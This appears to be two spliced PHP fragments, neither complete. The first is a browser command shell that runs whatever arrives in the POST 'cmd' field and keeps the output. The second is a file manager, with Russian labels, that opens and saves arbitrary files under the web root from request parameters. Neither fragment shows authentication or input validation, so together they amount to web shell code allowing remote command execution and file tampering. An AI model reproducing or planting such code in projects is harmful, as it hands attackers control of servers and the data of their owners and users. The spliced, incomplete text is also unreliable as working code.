if ($_POST['cmd'] != "") { if (preg_match('/^clear/', $_POST['cmd'])) { // Clearing the buffer $_SESSION['buf'] = array(); $_SESSION['buf_size'] = 0; } else { if (preg_match('/^cd/', $_POST['cmd'])) { /* If we got some "cd" command the behavior should be like in a real shell enviroment */ if ($_POST['cmd'] == 'cd') { @chdir(dirname($_SERVER['SCRIPT_FILENAME'])); //home dir :) } else { $the_dir = substr($_POST['cmd'], 3); $res = change_dir($the_dir); if ($the_dir == $res) { chdir($the_dir); } else { $result_cmd = $res; } } $content['PWD'] = getcwd(); } else { $my_string = load_buffer($_SESSION['buf']); $my_cmd = execute_with_trap($_POST['cmd']); save_buffer($_SESSION['buf'], $_SESSION['buf_size'], "\$ " . $_POST['cmd'] . "\n"); save_buffer($_SESSION['buf'], $_SESSION['buf_size'], $my_cmd); $content['RESULT'] = $my_string . "\$ " . $_POST['cmd'] . "\n" . $my_cmd; } }
<?php if (isset($_REQUEST['action'])) { $action = $_REQUEST['action']; $dirRel = trim($_REQUEST['dir'], './ '); if ($action == "change_dir") { change_dir($dirRel, $_REQUEST['newDir']); } } else { $action = ''; $dirRel = ''; } $dir = trim($_SERVER['DOCUMENT_ROOT'] . $dirRel, './ '); $dirW = iconv('UTF-8', 'CP1251', $dir); switch ($action) { case "save_file": $textarea = isset($_REQUEST['textarea']) ? $_REQUEST['textarea'] : ''; $newName = isset($_REQUEST['newName']) ? $_REQUEST['newName'] : ''; $current = isset($_REQUEST['current']) ? $_REQUEST['current'] : ''; $fileName = save_file($dir, $newName, $textarea) ? $newName : $current; $target = "_blank"; $title = "Редактирование файла {$fileName}"; break; case "open_file": $fileName = $newName = isset($_REQUEST['file']) ? $_REQUEST['file'] : ''; $textarea = open_file($dir, $fileName); $target = "_blank"; $title = "Редактирование файла {$fileName}"; break; default: $fileName = $newName = $textarea = '';